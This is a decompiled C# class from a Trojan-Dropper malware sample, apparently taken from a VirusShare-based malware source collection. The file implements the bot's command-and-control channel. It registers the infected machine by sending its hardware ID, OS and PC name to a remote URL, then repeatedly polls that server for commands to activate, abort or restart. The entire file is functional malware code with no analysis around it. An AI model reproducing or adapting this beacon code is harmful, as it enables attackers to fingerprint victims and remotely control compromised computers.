MalwareSourceCode/MSIL/Trojan-Dropper/Win32/S/Trojan-Dropper.Win32.Sysn.bshb-a13f90b28df8b73652beb4c3c95ff1b8dc0c2fc41dee8f7d6acdd43828a0aadc/_communicate.cs

// Decompiled with JetBrains decompiler
// Type: Poly._communicate
// Assembly: Poly, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 618F3010-979B-4F78-8F99-D5C35E30AA2E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Sysn.bshb-a13f90b28df8b73652beb4c3c95ff1b8dc0c2fc41dee8f7d6acdd43828a0aadc.exe

using System;
using System.Collections.Specialized;
using System.Net;
using System.Text;
using System.Threading;

namespace Poly
{
  internal class _communicate : Base_Settings
  {
    private static int Return;
    private static NameValueCollection sendData;
    private static string url;
    private static string uA;

    public static event _communicate.ModeChangedHandler ModeChange;

    public override void Initialise() => this.registerClient();

    public override void Run() => new Thread(new ThreadStart(this.listen)).Start();

    public static void setReturn(int iReturn) => _communicate.Return = iReturn;

    private static void initRegistryData()
    {
      _communicate.sendData = new NameValueCollection();
      _communicate.uA = Base_Settings.userAgent;
      _communicate.url = Base_Settings.httpURL;
      _communicate.sendData["hwid"] = Base_Settings.hwid;
      _communicate.sendData["mode"] = Base_Settings.mode.ToString();
      _communicate.sendData["os"] = Base_Settings.os;
      _communicate.sendData["pc"] = Base_Settings.pcName;
      _communicate.sendData["status"] = Base_Settings.status;
    }

    private static void initTalkData()
    {
      _communicate.sendData = new NameValueCollection();
      _communicate.sendData["mode"] = Base_Settings.mode.ToString();
      _communicate.sendData["status"] = Base_Settings.status;
      _communicate.sendData["hwid"] = Base_Settings.hwid;
      _communicate.sendData["return"] = _communicate.Return.ToString();
    }

    public void registerClient()
    {
      try
      {
        if (Base_Settings.mode == 0)
        {
          _communicate.initRegistryData();
          _communicate.talk();
          if (!(Base_Settings.response[0] == Base_Settings.hwid))
            return;
          Base_Settings.captured = true;
          Base_Settings.mode = 1;
          Base_Settings.busy = false;
        }
        else
          _communicate.talk();
      }
      catch (Exception ex)
      {
        Console.WriteLine("There was a problem with registering client\n Error: {0} \n^Handled by regClient", (object) ex.ToString());
      }
    }

    public void listen()
    {
      int num = 0;
      Console.WriteLine("Listener Started");
      while (true)
      {
        while (Base_Settings.busy)
        {
          Console.WriteLine("Stuck");
          Thread.Sleep(Base_Settings.interval * 1000);
        }
        if (Base_Settings.captured)
        {
          Console.WriteLine("Captured");
          _communicate.talk();
          if (Base_Settings.response[0] != null && Base_Settings.response[0] != Base_Settings.hwid)
          {
            switch (Base_Settings.response[0])
            {
              case "0":
              case "1":
              case "2":
              case "3":
              case "4":
                Console.WriteLine("Setting mode to 'Active'");
                this.setMode(2);
                break;
              case "5":
                Console.WriteLine("ABORT ALL!");
                Function.Abort();
                Base_Settings.mode = 2;
                _communicate.setReturn(1);
                break;
              case "00":
                Console.WriteLine("Restart code processed");
                this.restartConnection();
                break;
              default:
                Console.WriteLine("No command detected");
                Base_Settings.mode = 1;
                break;
            }
          }
          else if (Base_Settings.response[0] == Base_Settings.hwid)
          {
            Base_Settings.status = "Idle";
            Console.WriteLine("Neutral");
          }
          else
          {
            Base_Settings.status = "Inactive";
            Console.WriteLine("Idling hoHum...");
          }
          Console.WriteLine("Status = {0}", (object) Base_Settings.status);
        }
        else if (Base_Settings.captured)
        {
          _communicate.talk();
        }
        else
        {
          Console.WriteLine("Client not registered. Attmepting to register");
          this.restartConnection();
          ++num;
        }
        Thread.Sleep(Base_Settings.interval * 1000);
      }
    }

    private static void talk()
    {
      Base_Settings.busy = true;
      if (Base_Settings.mode != 0)
      {
        _communicate.initTalkData();
        Console.WriteLine("Send data return = {0}", (object) _communicate.sendData["return"]);
        Console.WriteLine("Current mode = {0}", (object) Base_Settings.mode);
      }
      try
      {
        WebClient webClient = new WebClient();
        webClient.Headers.Add("user-agent", _communicate.uA);
        string str = Encoding.UTF8.GetString(webClient.UploadValues(_communicate.url, "POST", _communicate.sendData));
        string[] strArray = str.Split('|');
        Base_Settings.response = str.Split('|');
        Base_Settings.command = strArray[0];
        Console.WriteLine(Base_Settings.command);
        webClient.Dispose();
      }
      catch (Exception ex)
      {
        Console.WriteLine("There was an error with Talking.\n Error: {0}\n ^Handled by talk", (object) ex.ToString());
      }
      Base_Settings.busy = false;
    }

    public void restartConnection()
    {
      Console.WriteLine("Restart code processed. Calling registerClient()");
      Base_Settings.busy = true;
      Base_Settings.mode = 0;
      this.registerClient();
      Base_Settings.busy = false;
    }

    public static void forceTalk() => _communicate.talk();

    protected void OnModeChange(object sender, EventArgs data)
    {
      if (_communicate.ModeChange == null)
        return;
      _communicate.ModeChange((object) this, data);
    }

    public void setMode(int i1)
    {
      Base_Settings.mode = i1;
      if (i1 != 2)
        return;
      this.OnModeChange((object) this, (EventArgs) new ModeChangedArgs());
    }

    public delegate void ModeChangedHandler(object sender, EventArgs e);
  }
}